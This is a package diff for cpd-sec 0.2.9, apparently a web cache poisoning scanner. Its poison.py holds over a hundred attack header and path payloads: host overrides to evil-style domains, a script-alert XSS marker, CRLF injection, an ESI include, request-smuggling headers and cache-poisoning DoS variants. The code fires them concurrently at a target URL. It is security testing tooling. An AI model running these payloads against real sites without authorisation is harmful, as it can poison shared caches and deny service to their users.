cpd-sec 0.2.9__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
cpd/logic/poison.py ADDED
@@ -0,0 +1,481 @@
1
+ import time
2
+ import uuid
3
+ import random
4
+ from typing import List, Dict, Optional
5
+ from cpd.http_client import HttpClient
6
+ from cpd.logic.baseline import Baseline
7
+ from cpd.utils.logger import logger
8
+
9
+ class Poisoner:
10
+ def __init__(self, baseline: Baseline, headers: Dict[str, str] = None):
11
+ self.baseline = baseline
12
+ self.headers = headers or {}
13
+ self.payload_id = str(uuid.uuid4())[:8]
14
+ # Advanced poisoning signatures based on public writeups (HackerOne, Bugcrowd)
15
+ self.signatures = [
16
+ # Host Header Manipulation
17
+ {"name": "X-Forwarded-Host", "header": "X-Forwarded-Host", "value": f"evil-{self.payload_id}.com"},
18
+ {"name": "X-Host", "header": "X-Host", "value": f"evil-{self.payload_id}.com"},
19
+ {"name": "X-Forwarded-Server", "header": "X-Forwarded-Server", "value": f"evil-{self.payload_id}.com"},
20
+ {"name": "X-HTTP-Host-Override", "header": "X-HTTP-Host-Override", "value": f"evil-{self.payload_id}.com"},
21
+ {"name": "Forwarded", "header": "Forwarded", "value": f"host=evil-{self.payload_id}.com;for=127.0.0.1"},
22
+
23
+ # Request Line / Path Overrides
24
+ {"name": "X-Original-URL", "header": "X-Original-URL", "value": f"/poison-{self.payload_id}"},
25
+ {"name": "X-Rewrite-URL", "header": "X-Rewrite-URL", "value": f"/poison-{self.payload_id}"},
26
+
27
+ # Protocol / Port Manipulation
28
+ {"name": "X-Forwarded-Scheme", "type": "method_override", "header": "X-Forwarded-Scheme", "value": "http"},
29
+ {"name": "X-Forwarded-Proto", "type": "method_override", "header": "X-Forwarded-Proto", "value": "http"},
30
+ {"name": "X-Forwarded-Port", "header": "X-Forwarded-Port", "value": "1111"},
31
+ {"name": "X-Forwarded-Prefix", "header": "X-Forwarded-Prefix", "value": f"/evil-{self.payload_id}"},
32
+
33
+ # Header Reflection / Injection targets
34
+ {"name": "Valid-User-Agent", "header": "User-Agent", "value": f"<script>alert('{self.payload_id}')</script>"},
35
+ {"name": "Origin-Reflect", "header": "Origin", "value": f"https://evil-{self.payload_id}.com"},
36
+ {"name": "Accept-Language", "header": "Accept-Language", "value": f"en-evil-{self.payload_id}"},
37
+ {"name": "Accept-Language", "header": "Accept-Language", "value": f"en-evil-{self.payload_id}"},
38
+
39
+ # Path Normalization / Traversal (User Requested)
40
+ {"name": "Backslash-Path-Replace", "type": "path", "mutation": "backslash_replace"},
41
+ {"name": "Backslash-Last-Path-Replace", "type": "path", "mutation": "backslash_last_slash"},
42
+
43
+ # Fat GET (Body Poisoning)
44
+ {"name": "Fat-GET", "type": "fat_get", "header": "X-Poison-Fat", "value": f"evil-{self.payload_id}"},
45
+
46
+ # CDN / IP Forwarding
47
+ {"name": "Fastly-Client-IP", "header": "Fastly-Client-IP", "value": "8.8.8.8"},
48
+ {"name": "True-Client-IP", "header": "True-Client-IP", "value": "127.0.0.1"},
49
+ {"name": "CF-Connecting-IP", "header": "CF-Connecting-IP", "value": "127.0.0.1"},
50
+ {"name": "X-Real-IP", "header": "X-Real-IP", "value": "127.0.0.1"},
51
+ {"name": "X-Forwarded-For-IP", "header": "X-Forwarded-For", "value": "127.0.0.1"},
52
+ {"name": "Client-IP", "header": "Client-IP", "value": "127.0.0.1"},
53
+
54
+ # Method Override (Behavioral)
55
+ {"name": "Method-Override-POST", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "POST"},
56
+ {"name": "Method-Override-PUT", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "PUT"},
57
+
58
+ # Unkeyed Query Parameter
59
+ {"name": "Unkeyed-Param", "type": "query_param", "param": "utm_content", "value": f"evil-{self.payload_id}"},
60
+ {"name": "Parameter-Pollution", "type": "query_param", "param": "utm_source", "value": f"evil-{self.payload_id}"},
61
+
62
+ # Header Reflection / Injection targets (Extended)
63
+ {"name": "X-Forwarded-SSL", "header": "X-Forwarded-SSL", "value": "on"},
64
+ {"name": "X-Cluster-Client-IP", "header": "X-Cluster-Client-IP", "value": "127.0.0.1"},
65
+ {"name": "Akamai-Pragma", "header": "Pragma", "value": "akamai-x-cache-on"},
66
+ {"name": "CF-Cache-Status", "header": "CF-Cache-Status", "value": "DYNAMIC"},
67
+ {"name": "Referer-Reflect", "header": "Referer", "value": f"https://evil-{self.payload_id}.com"},
68
+ {"name": "Cache-Control-Poison", "header": "Cache-Control", "value": "public, max-age=3600"},
69
+ {"name": "X-Original-Host", "header": "X-Original-Host", "value": f"evil-{self.payload_id}.com"},
70
+ {"name": "X-Forwarded-Path", "header": "X-Forwarded-Path", "value": f"/poison-{self.payload_id}"},
71
+ {"name": "Surrogate-Control", "header": "Surrogate-Control", "value": "max-age=3600"},
72
+ {"name": "Vary-Manipulation", "header": "Vary", "value": "X-Forwarded-Host"},
73
+ {"name": "Accept-Encoding-Reflect", "header": "Accept-Encoding", "value": f"evil-{self.payload_id}"},
74
+ {"name": "TE-Trailers", "type": "method_override", "header": "Transfer-Encoding", "value": "trailers"},
75
+ {"name": "CRLF-Injection", "header": "X-Custom-Header", "value": f"%0d%0aSet-Cookie: evil={self.payload_id}"},
76
+ {"name": "HAV-Cookie-Reflect", "header": "hav", "value": f"<script>alert('{self.payload_id}')</script>"},
77
+
78
+ # WCD
79
+ {"name": "Web-Cache-Deception", "type": "path", "mutation": "append_css", "value": f"/static/style.css?poison={self.payload_id}"},
80
+
81
+ # Vercel / Next.js Targets
82
+ {"name": "Vercel-IP-Country-US", "type": "method_override", "header": "x-vercel-ip-country", "value": "US"},
83
+ {"name": "Vercel-Forwarded-For", "type": "method_override", "header": "x-vercel-forwarded-for", "value": "127.0.0.1"},
84
+ {"name": "NextJS-RSC", "type": "method_override", "header": "RSC", "value": "1"},
85
+ {"name": "NextJS-Router-State", "type": "method_override", "header": "Next-Router-State-Tree", "value": "1"},
86
+
87
+ # Next.js Prefetch / Data Poisoning
88
+ {"name": "NextJS-Middleware-Prefetch", "type": "method_override", "header": "X-Middleware-Prefetch", "value": "1"},
89
+ {"name": "X-Middleware-Prefetch-Poison", "type": "method_override", "header": "X-Middleware-Prefetch", "value": "poison"},
90
+ {"name": "NextJS-Data", "type": "method_override", "header": "X-Nextjs-Data", "value": "1"},
91
+ {"name": "NextJS-Purpose-Prefetch", "type": "method_override", "header": "Purpose", "value": "prefetch"},
92
+ {"name": "NextJS-Cache-Poison", "type": "method_override", "header": "Next-Router-Prefetch", "value": "1"},
93
+
94
+ # Range Header Poisoning (DoS)
95
+ {"name": "Range-Poisoning", "type": "method_override", "header": "Range", "value": "bytes=0-0"},
96
+
97
+ # === CloudFront & AWS-specific ===
98
+ {"name": "CloudFront-Viewer-Country", "method_override": "true", "header": "CloudFront-Viewer-Country", "value": "US"},
99
+ {"name": "CloudFront-Is-Mobile", "type": "method_override", "header": "CloudFront-Is-Mobile-Viewer", "value": "true"},
100
+ {"name": "CloudFront-Is-Desktop", "type": "method_override", "header": "CloudFront-Is-Desktop-Viewer", "value": "true"},
101
+ {"name": "CloudFront-Forwarded-Proto", "type": "method_override", "header": "CloudFront-Forwarded-Proto", "value": "http"},
102
+
103
+ # === Akamai-specific ===
104
+ {"name": "Akamai-Origin-Hop", "header": "Akamai-Origin-Hop", "value": f"evil-{self.payload_id}.com"},
105
+ {"name": "True-Client-IP-Akamai", "header": "True-Client-IP", "value": f"127.0.0.1; host=evil-{self.payload_id}.com"},
106
+
107
+ # === Fastly Advanced ===
108
+ {"name": "Fastly-FF", "header": "Fastly-FF", "value": f"!cache-{self.payload_id}"},
109
+ {"name": "Fastly-SSL", "type": "method_override", "header": "Fastly-SSL", "value": "0"},
110
+ {"name": "Surrogate-Capability", "header": "Surrogate-Capability", "value": f"abc=ESI/1.0; evil-{self.payload_id}"},
111
+
112
+ # === Cache-Control Manipulation ===
113
+ {"name": "Cache-Control-Override", "header": "X-Cache-Control", "value": "no-cache"},
114
+ {"name": "Pragma-Override", "header": "X-Pragma", "value": f"poison-{self.payload_id}"},
115
+
116
+ # === Vary Header Exploitation ===
117
+ {"name": "Accept-Encoding-Vary", "header": "Accept-Encoding", "value": f"gzip;poison={self.payload_id}"},
118
+ {"name": "Accept-Vary", "header": "Accept", "value": f"text/html;version={self.payload_id}"},
119
+ {"name": "Cookie-Vary", "header": "Cookie", "value": f"cache_poison={self.payload_id}"},
120
+
121
+ # === Referer-based Cache Keys ===
122
+ {"name": "Referer-Poison", "header": "Referer", "value": f"https://evil-{self.payload_id}.com/"},
123
+ {"name": "Referrer-Policy", "header": "Referrer-Policy", "value": f"unsafe-url; poison={self.payload_id}"},
124
+
125
+ # === Content Negotiation ===
126
+ {"name": "Accept-Charset", "header": "Accept-Charset", "value": f"utf-8;poison={self.payload_id}"},
127
+ {"name": "Content-Type-Override", "header": "Content-Type", "value": f"text/html;charset=utf-{self.payload_id}"},
128
+
129
+ # === Authentication/Session Headers (Unkeyed) ===
130
+ {"name": "Authorization-Unkeyed", "header": "Authorization", "value": f"Bearer poison-{self.payload_id}"},
131
+ {"name": "X-API-Key-Unkeyed", "header": "X-API-Key", "value": f"poison-{self.payload_id}"},
132
+ {"name": "X-Auth-Token", "header": "X-Auth-Token", "value": f"poison-{self.payload_id}"},
133
+
134
+ # === Edge-Side Includes (ESI) Injection ===
135
+ {"name": "ESI-Include", "header": "X-ESI", "value": f"<esi:include src='https://evil-{self.payload_id}.com'/>"},
136
+
137
+ # === WebSocket/Upgrade Headers ===
138
+ {"name": "Upgrade-Header", "header": "Upgrade", "value": f"websocket; poison={self.payload_id}"},
139
+ {"name": "Connection-Upgrade", "header": "Connection", "value": f"Upgrade, poison-{self.payload_id}"},
140
+
141
+ # === Custom CDN Headers ===
142
+ {"name": "X-CDN-Forward", "header": "X-CDN-Forward", "value": f"evil-{self.payload_id}.com"},
143
+ {"name": "X-Edge-Location", "header": "X-Edge-Location", "value": f"poison-{self.payload_id}"},
144
+ {"name": "X-Cache-Key", "header": "X-Cache-Key", "value": f"poison-{self.payload_id}"},
145
+
146
+ # === URL Encoding Bypass ===
147
+ {"name": "X-Forwarded-Host-Encoded", "header": "X-Forwarded-Host", "value": f"evil-{self.payload_id}.com%00"},
148
+ {"name": "X-Original-URL-Encoded", "header": "X-Original-URL", "value": f"/%2e%2e/poison-{self.payload_id}"},
149
+
150
+ # === Normalized Path Attacks ===
151
+ {"name": "Path-Dot-Segment", "type": "path", "mutation": "dot_segment", "value": f"/./poison-{self.payload_id}"},
152
+ {"name": "Path-Double-Dot", "type": "path", "mutation": "double_dot", "value": f"/../poison-{self.payload_id}"},
153
+ {"name": "Path-Encoded-Slash", "type": "path", "mutation": "encoded_slash", "value": f"/%2fpoison-{self.payload_id}"},
154
+
155
+ # === Request Smuggling Related ===
156
+ {"name": "Transfer-Encoding", "type": "method_override", "header": "Transfer-Encoding", "value": f"chunked; poison={self.payload_id}"},
157
+ {"name": "Content-Length-Mismatch", "type": "method_override", "header": "Content-Length", "value": "0"},
158
+ {"name": "X-HTTP-Method", "type": "method_override", "header": "X-HTTP-Method", "value": f"POST; poison={self.payload_id}"},
159
+
160
+ # === Mobile/Device Detection ===
161
+ {"name": "X-Device-Type", "header": "X-Device-Type", "value": f"mobile-{self.payload_id}"},
162
+ {"name": "X-Mobile-Group", "header": "X-Mobile-Group", "value": f"poison-{self.payload_id}"},
163
+ {"name": "X-Tablet-Device", "type": "method_override", "header": "X-Tablet-Device", "value": "true"},
164
+
165
+ # === Geo-Location Headers ===
166
+ {"name": "X-Country-Code", "header": "X-Country-Code", "value": f"XX-{self.payload_id}"},
167
+ {"name": "X-GeoIP-Country", "header": "X-GeoIP-Country", "value": f"POISON-{self.payload_id}"},
168
+ {"name": "CF-IPCountry", "header": "CF-IPCountry", "value": f"XX-{self.payload_id}"},
169
+
170
+ # === Custom Framework Headers ===
171
+ {"name": "X-Laravel-Cache", "header": "X-Laravel-Cache", "value": f"poison-{self.payload_id}"},
172
+ {"name": "X-Drupal-Cache", "header": "X-Drupal-Cache", "value": f"poison-{self.payload_id}"},
173
+ {"name": "X-WordPress-Cache", "header": "X-WordPress-Cache", "value": f"poison-{self.payload_id}"},
174
+
175
+ # === CORS-related ===
176
+ {"name": "Access-Control-Request-Method", "header": "Access-Control-Request-Method", "value": f"POST; poison={self.payload_id}"},
177
+ {"name": "Access-Control-Request-Headers", "header": "Access-Control-Request-Headers", "value": f"X-Poison-{self.payload_id}"},
178
+
179
+ # === Proxy/Load Balancer Detection ===
180
+ {"name": "X-ProxyUser-Ip", "header": "X-ProxyUser-Ip", "value": "127.0.0.1"},
181
+ {"name": "WL-Proxy-Client-IP", "header": "WL-Proxy-Client-IP", "value": "127.0.0.1"},
182
+ {"name": "Via-Header", "header": "Via", "value": f"1.1 poison-{self.payload_id}.com"},
183
+
184
+ # === API Gateway Specific ===
185
+ {"name": "X-Amzn-Trace-Id", "header": "X-Amzn-Trace-Id", "value": f"Root=1-{self.payload_id}"},
186
+ {"name": "X-API-Version", "header": "X-API-Version", "value": f"poison-{self.payload_id}"},
187
+ {"name": "X-Gateway-Host", "header": "X-Gateway-Host", "value": f"evil-{self.payload_id}.com"},
188
+
189
+ # === Special Characters in Headers ===
190
+ {"name": "Host-Newline-Injection", "header": "Host", "value": f"legitimate.com\r\nX-Poison: {self.payload_id}"},
191
+ {"name": "X-Forwarded-CRLF", "header": "X-Forwarded-Host", "value": f"evil.com\r\nX-Poison: {self.payload_id}"},
192
+
193
+ # === Cache Deception ===
194
+ {"name": "Path-Static-Extension", "type": "path", "mutation": "static_extension", "value": f"/profile.css?poison={self.payload_id}"},
195
+ {"name": "Path-Delimiter-Bypass", "type": "path", "mutation": "delimiter", "value": f"/api;.css?poison={self.payload_id}"},
196
+
197
+ # === Query Parameter Mutations ===
198
+ {"name": "Unkeyed-CB", "type": "query_param", "param": "cb", "value": f"{self.payload_id}"},
199
+ {"name": "Unkeyed-Callback", "type": "query_param", "param": "callback", "value": f"poison_{self.payload_id}"},
200
+ {"name": "Unkeyed-JSONP", "type": "query_param", "param": "jsonp", "value": f"evil_{self.payload_id}"},
201
+ {"name": "Unkeyed-UTM-Source", "type": "query_param", "param": "utm_source", "value": f"poison-{self.payload_id}"},
202
+ {"name": "Unkeyed-UTM-Campaign", "type": "query_param", "param": "utm_campaign", "value": f"poison-{self.payload_id}"},
203
+ {"name": "Unkeyed-FbClid", "type": "query_param", "param": "fbclid", "value": f"poison_{self.payload_id}"},
204
+ {"name": "Unkeyed-GClid", "type": "query_param", "param": "gclid", "value": f"poison_{self.payload_id}"},
205
+ {"name": "Param-Cloaking-Semi", "type": "query_param", "param": "cb;poison", "value": f"evil-{self.payload_id}"},
206
+
207
+ # === CPDoS (Cache Poisoning Denial of Service) ===
208
+ {"name": "CPDoS-HMO-Connect", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "CONNECT"},
209
+ {"name": "CPDoS-HMO-Track", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "TRACK"},
210
+ {"name": "CPDoS-HHO-Oversize", "type": "method_override", "header": "X-Oversized-Header", "value": "A" * 4000},
211
+
212
+ # === Framework & Cloud Specific ===
213
+ {"name": "IIS-Translate-F", "header": "Translate", "value": "f"},
214
+ {"name": "AWS-S3-Redirect", "header": "x-amz-website-redirect-location", "value": f"/evil-{self.payload_id}"},
215
+ {"name": "Symfony-Debug-Host", "header": "X-Backend-Host", "value": f"evil-{self.payload_id}.com"},
216
+ {"name": "Magento-Base-Url", "header": "X-Forwarded-Base-Url", "value": f"http://evil-{self.payload_id}.com"},
217
+ {"name": "Akamai-Pragma-Expanded", "header": "Pragma", "value": "akamai-x-get-cache-key, akamai-x-get-true-cache-key, akamai-x-get-request-id"},
218
+ {"name": "NextJS-Next-Url", "header": "x-next-url", "value": f"/evil-{self.payload_id}"},
219
+
220
+ # === Additional Routing/Geo ===
221
+ {"name": "X-Original-Request-URI", "header": "X-Original-Request-URI", "value": f"/poison-{self.payload_id}"},
222
+ {"name": "X-Forwarded-Context", "header": "X-Forwarded-Context", "value": f"evil-{self.payload_id}"},
223
+ {"name": "Base-Url", "header": "Base-Url", "value": f"http://evil-{self.payload_id}.com"},
224
+ {"name": "X-Forwarded-Ssl-Off", "type": "method_override", "header": "X-Forwarded-Ssl", "value": "off"},
225
+ {"name": "Front-End-Https-Off", "type": "method_override", "header": "Front-End-Https", "value": "off"},
226
+ {"name": "X-Forwarded-By", "header": "X-Forwarded-By", "value": "127.0.0.1"},
227
+ {"name": "X-Originating-IP", "header": "X-Originating-IP", "value": "127.0.0.1"},
228
+ {"name": "X-Remote-IP", "header": "X-Remote-IP", "value": "127.0.0.1"},
229
+
230
+ # === Content Negotiation ===
231
+ {"name": "Accept-Json", "header": "Accept", "value": "application/json"},
232
+ {"name": "Accept-Xml", "header": "Accept", "value": "application/xml"},
233
+
234
+ ]
235
+
236
+ async def run(self, client: HttpClient) -> List[Dict]:
237
+ """
238
+ Execute poisoning attacks.
239
+ """
240
+ logger.info(f"Starting poisoning attempts on {self.baseline.url}")
241
+
242
+ import asyncio
243
+ findings = []
244
+ for sig in self.signatures:
245
+ # Schedule each signature test as a concurrent task
246
+ findings.append(asyncio.create_task(self._attempt_poison(client, sig)))
247
+
248
+ results = await asyncio.gather(*findings)
249
+
250
+ # Filter None results
251
+ valid_findings = [r for r in results if r]
252
+ return valid_findings
253
+
254
+ async def _attempt_poison(self, client: HttpClient, signature: Dict[str, str]) -> Optional[Dict]:
255
+ cache_buster = f"cb={int(time.time())}_{random.randint(1000,9999)}"
256
+ headers = self.headers.copy()
257
+
258
+ # Determine URLs based on signature type
259
+ if signature.get("type") == "path":
260
+ # Mutation logic
261
+ if signature["mutation"] == "backslash_replace":
262
+ # Replace valid path separators with backslashes
263
+ # e.g. https://example.com/foo/bar -> https://example.com\foo\bar
264
+ from urllib.parse import urlparse
265
+ parsed = urlparse(self.baseline.url)
266
+
267
+ # Reconstruct with backslashes in path
268
+ malicious_path = parsed.path.replace('/', '\\')
269
+ if not malicious_path or malicious_path == '\\':
270
+ malicious_path = '\\' # Ensure at least root
271
+
272
+ # Rebuild URL: scheme://netloc + malicious_path + query
273
+ # We append cache buster manually
274
+ target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
275
+ verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
276
+
277
+ elif signature["mutation"] == "backslash_last_slash":
278
+ # Replace ONLY the LAST slash in the path with a backslash
279
+ # e.g. /path1/subpath/path -> /path1/subpath\path
280
+ from urllib.parse import urlparse
281
+ parsed = urlparse(self.baseline.url)
282
+ path = parsed.path
283
+
284
+ if '/' in path:
285
+ # Rfind to locate last slash, replace it
286
+ last_slash_index = path.rfind('/')
287
+ # Be careful if it's the very first char and only char e.g. "/"
288
+ if last_slash_index != -1:
289
+ malicious_path = path[:last_slash_index] + '\\' + path[last_slash_index+1:]
290
+ if malicious_path == '\\':
291
+ pass # "/" -> "\" is same as replace all, effectively
292
+ else:
293
+ malicious_path = path
294
+ else:
295
+ malicious_path = path
296
+
297
+ target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
298
+ verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
299
+
300
+ elif signature["mutation"] == "append_css" or signature["mutation"] == "static_extension":
301
+ # Web Cache Deception: Append non-existent static extension
302
+ # e.g. /my/account -> /my/account/style.css?poison=123
303
+ from urllib.parse import urlparse
304
+ parsed = urlparse(self.baseline.url)
305
+ path = parsed.path
306
+
307
+ # If path is /foo and value is /bar.css -> /foo/bar.css
308
+ if path.endswith('/'):
309
+ malicious_path = path.rstrip('/') + signature['value']
310
+ else:
311
+ malicious_path = path + signature['value']
312
+
313
+ target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}&{cache_buster}" if '?' in malicious_path else f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
314
+ verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
315
+
316
+ elif signature["mutation"] in ["dot_segment", "double_dot", "delimiter"]:
317
+ # Path encodings/traversals
318
+ # dot_segment: /path + /./poison
319
+ # double_dot: /path + /../poison
320
+ # delimiter: /path + ;.css
321
+ from urllib.parse import urlparse
322
+ parsed = urlparse(self.baseline.url)
323
+ path = parsed.path
324
+
325
+ malicious_path = path + signature['value']
326
+
327
+ target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
328
+ verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
329
+
330
+ elif signature["mutation"] == "encoded_slash":
331
+ # Encoded slash: replace / with %2f or append
332
+ # value: /%2fpoison
333
+ from urllib.parse import urlparse
334
+ parsed = urlparse(self.baseline.url)
335
+ path = parsed.path
336
+
337
+ malicious_path = path + signature['value']
338
+
339
+ target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
340
+ verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
341
+
342
+
343
+ elif signature.get("type") == "fat_get":
344
+ # Fat GET: Send GET request with a body
345
+ target_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
346
+ verify_url = target_url
347
+
348
+ elif signature.get("type") == "query_param":
349
+ # Inject parameter into URL
350
+ # e.g. /?cb=123&utm_content=evil
351
+ param_str = f"{signature['param']}={signature['value']}"
352
+ target_url = f"{self.baseline.url}?{cache_buster}&{param_str}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}&{param_str}"
353
+ # Check if clean request gets poisoned content
354
+ verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
355
+
356
+ else:
357
+ # Standard Header Poisoning (and Method Override)
358
+ target_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
359
+ verify_url = target_url
360
+ headers[signature['header']] = signature['value']
361
+
362
+ logger.debug(f"Attempting {signature['name']} on {target_url}")
363
+
364
+ body = None
365
+ if signature.get("type") == "fat_get":
366
+ body = f"callback=evil{self.payload_id}"
367
+
368
+ resp = await client.request("GET", target_url, headers=headers, data=body)
369
+ if not resp:
370
+ return
371
+
372
+ # Optimization: If the "poisoned" response is identical to the baseline,
373
+ # it likely means the server normalized the request or ignored the header/method.
374
+ # This prevents "Backslash" or "Method Override" false positives where the
375
+ # server just serves the standard content (Aliasing/Normalization).
376
+ if signature.get("type") in ["path", "method_override"]:
377
+ # Check length first for speed
378
+ if len(resp['body']) == len(self.baseline.body):
379
+ if resp['body'] == self.baseline.body:
380
+ logger.debug(f"Ignored {signature['name']} - Poison response identical to baseline (Benign Normalization/Aliasing)")
381
+ return None
382
+
383
+ # Additional check: If standard hash matches (in case body object differs but content same)
384
+ import hashlib
385
+ resp_hash = hashlib.sha256(resp['body']).hexdigest()
386
+ if resp_hash == self.baseline.body_hash:
387
+ logger.debug(f"Ignored {signature['name']} - Poison hash identical to baseline hash")
388
+ return None
389
+
390
+ # 2. Verification Request (Clean URL with same cache key/buster)
391
+ verify_resp = await client.request("GET", verify_url, headers=self.headers)
392
+ if not verify_resp:
393
+ return
394
+
395
+ if signature.get("type") in ["path", "method_override"]:
396
+ # Calculate verify hash
397
+ import hashlib
398
+ verify_hash = hashlib.sha256(verify_resp['body']).hexdigest()
399
+
400
+ if verify_resp['body'] == resp['body'] and verify_hash != self.baseline.body_hash:
401
+ verify_resp_2 = await client.request("GET", verify_url, headers=self.headers)
402
+ if not verify_resp_2:
403
+ return None
404
+
405
+ verify_hash_2 = hashlib.sha256(verify_resp_2['body']).hexdigest()
406
+
407
+ if verify_hash != verify_hash_2:
408
+ logger.debug(f"Ignored {signature['name']} - Target appears dynamic (verification requests differed)")
409
+ return None
410
+
411
+ fresh_cb = f"cb={int(time.time())}_{random.randint(1000,9999)}"
412
+ fresh_url = f"{self.baseline.url}?{fresh_cb}" if '?' not in self.baseline.url else f"{self.baseline.url}&{fresh_cb}"
413
+
414
+ fresh_resp = await client.request("GET", fresh_url, headers=self.headers)
415
+ if fresh_resp:
416
+ fresh_hash = hashlib.sha256(fresh_resp['body']).hexdigest()
417
+ if fresh_hash == verify_hash:
418
+ logger.debug(f"Ignored {signature['name']} - Target appears to have drifted (fresh baseline matches verification)")
419
+ return None
420
+
421
+ if fresh_resp['status'] == verify_resp['status']:
422
+ len_fresh = len(fresh_resp['body'])
423
+ len_verify = len(verify_resp['body'])
424
+ if len_fresh == len_verify:
425
+ logger.debug(f"Ignored {signature['name']} - Content length identical to fresh baseline ({len_verify} bytes). Likely benign dynamic content.")
426
+ return None
427
+
428
+ # Optional: Tolerance check (e.g., < 20 bytes diff)
429
+ if abs(len_fresh - len_verify) < 20:
430
+ logger.debug(f"Ignored {signature['name']} - Content length similar to fresh baseline (diff {abs(len_fresh - len_verify)}). Likely benign.")
431
+ return None
432
+
433
+ if fresh_hash != self.baseline.body_hash:
434
+ logger.debug(f"Ignored {signature['name']} - Target appears chaotic (fresh baseline != original baseline)")
435
+ return None
436
+
437
+ vuln_type = "PathNormalizationPoisoning" if signature.get("type") == "path" else "MethodOverridePoisoning"
438
+ msg = f"POTENTIAL VULNERABILITY: {vuln_type}. Clean URL {verify_url} served content from {target_url} (reproducing malicious behavior)"
439
+ logger.critical(msg)
440
+ return {
441
+ "url": self.baseline.url,
442
+ "target_url": target_url,
443
+ "verify_url": verify_url,
444
+ "vulnerability": vuln_type,
445
+ "details": msg,
446
+ "signature": signature,
447
+ "severity": "HIGH"
448
+ }
449
+ return None
450
+
451
+ if signature['value'] in str(verify_resp['headers']) or signature['value'] in str(verify_resp['body']):
452
+ # Ignore short values (DoS/False Positive prevention)
453
+ if len(signature['value']) < 5:
454
+ logger.debug(f"Ignored {signature['name']} - Value '{signature['value']}' too short for reliable reflection check")
455
+ return None
456
+
457
+ # False Positive Check: Was this value already in the baseline (body OR headers)?
458
+ in_baseline = signature['value'] in str(self.baseline.body) or signature['value'] in str(self.baseline.headers)
459
+ if in_baseline:
460
+ logger.debug(f"Ignored {signature['name']} - Value '{signature['value']}' found in baseline response")
461
+ return None
462
+
463
+ msg = f"POTENTIAL VULNERABILITY: {signature['name']} reflected in response for {target_url}"
464
+ logger.critical(msg)
465
+ severity = "MEDIUM"
466
+ if "<script" in str(verify_resp['body']):
467
+ severity = "CRITICAL"
468
+ elif signature.get("type") in ["fat_get", "query_param"]:
469
+ severity = "HIGH"
470
+
471
+ return {
472
+ "url": self.baseline.url,
473
+ "target_url": target_url,
474
+ "vulnerability": "CachePoisoning",
475
+ "details": msg,
476
+ "signature": signature,
477
+ "severity": severity
478
+ }
479
+ else:
480
+ logger.debug(f"Failed {signature['name']}")
481
+ return None
cpd/logic/validator.py ADDED
@@ -0,0 +1,60 @@
1
+ from typing import Dict, Optional, Tuple
2
+ from cpd.http_client import HttpClient
3
+ from cpd.utils.logger import logger
4
+
5
+ class CacheValidator:
6
+ def __init__(self):
7
+ self.cache_headers = [
8
+ "X-Cache",
9
+ "CF-Cache-Status", # Cloudflare
10
+ "X-Varnish", # Varnish
11
+ "Age", # Standard
12
+ "Via", # Proxies
13
+ "X-Drupal-Cache", # Drupal
14
+ "X-Proxy-Cache", # Nginx
15
+ "Akamai-Cache-Status", # Akamai
16
+ "Cache-Status", # Standard / Apache
17
+ "X-Cache-Status", # Generic / Nginx
18
+ "X-Cache-Hits", # Fastly
19
+ "Server-Timing", # W3C / CDNs
20
+ "X-Cache-Detail" # Apache
21
+ ]
22
+
23
+ async def analyze(self, client: HttpClient, url: str) -> Tuple[bool, Optional[str]]:
24
+ """
25
+ Analyze if the target URL is using a cache.
26
+ Returns: (is_cached, reason)
27
+ """
28
+ logger.info(f"Checking for cache indicators on {url}")
29
+
30
+ # 1. Passive Header Check
31
+ resp = await client.request("GET", url)
32
+ if not resp:
33
+ return False, "Failed to fetch URL"
34
+
35
+ for header_name in self.cache_headers:
36
+ for key in resp['headers']:
37
+ if key.lower() == header_name.lower():
38
+ val = resp['headers'][key]
39
+ logger.info(f"Cache indicator found: {key}: {val}")
40
+
41
+ # Special handling for Server-Timing which is common but not always cache-related
42
+ if key.lower() == 'server-timing':
43
+ # Check for cache-related keywords in Server-Timing value
44
+ val_lower = val.lower()
45
+ if any(k in val_lower for k in ['cache', 'miss', 'hit', 'cdn-cache']):
46
+ return True, f"Found cache indicator in Server-Timing: {val}"
47
+ else:
48
+ # If it's Server-Timing but doesn't mention cache, keep looking
49
+ continue
50
+
51
+ return True, f"Found cache header: {key}"
52
+
53
+ # 2. Heuristic/Behavioral Check (Optional)
54
+ # Check standard Cache-Control
55
+ cc = resp['headers'].get('Cache-Control', '').lower()
56
+ if 'public' in cc or 's-maxage' in cc:
57
+ return True, f"Cache-Control implies public caching: {cc}"
58
+
59
+ logger.warning(f"No obvious cache indicators found for {url}")
60
+ return False, "No cache headers detected"
cpd/main.py ADDED
@@ -0,0 +1,4 @@
1
+ from cpd.cli import cli
2
+
3
+ if __name__ == "__main__":
4
+ cli()
cpd/utils/__init__.py ADDED
File without changes
cpd/utils/logger.py ADDED
@@ -0,0 +1,73 @@
1
+ import logging
2
+ import sys
3
+ from typing import Optional
4
+
5
+ class ColoredFormatter(logging.Formatter):
6
+ """
7
+ Custom formatter to add colors to log levels.
8
+ """
9
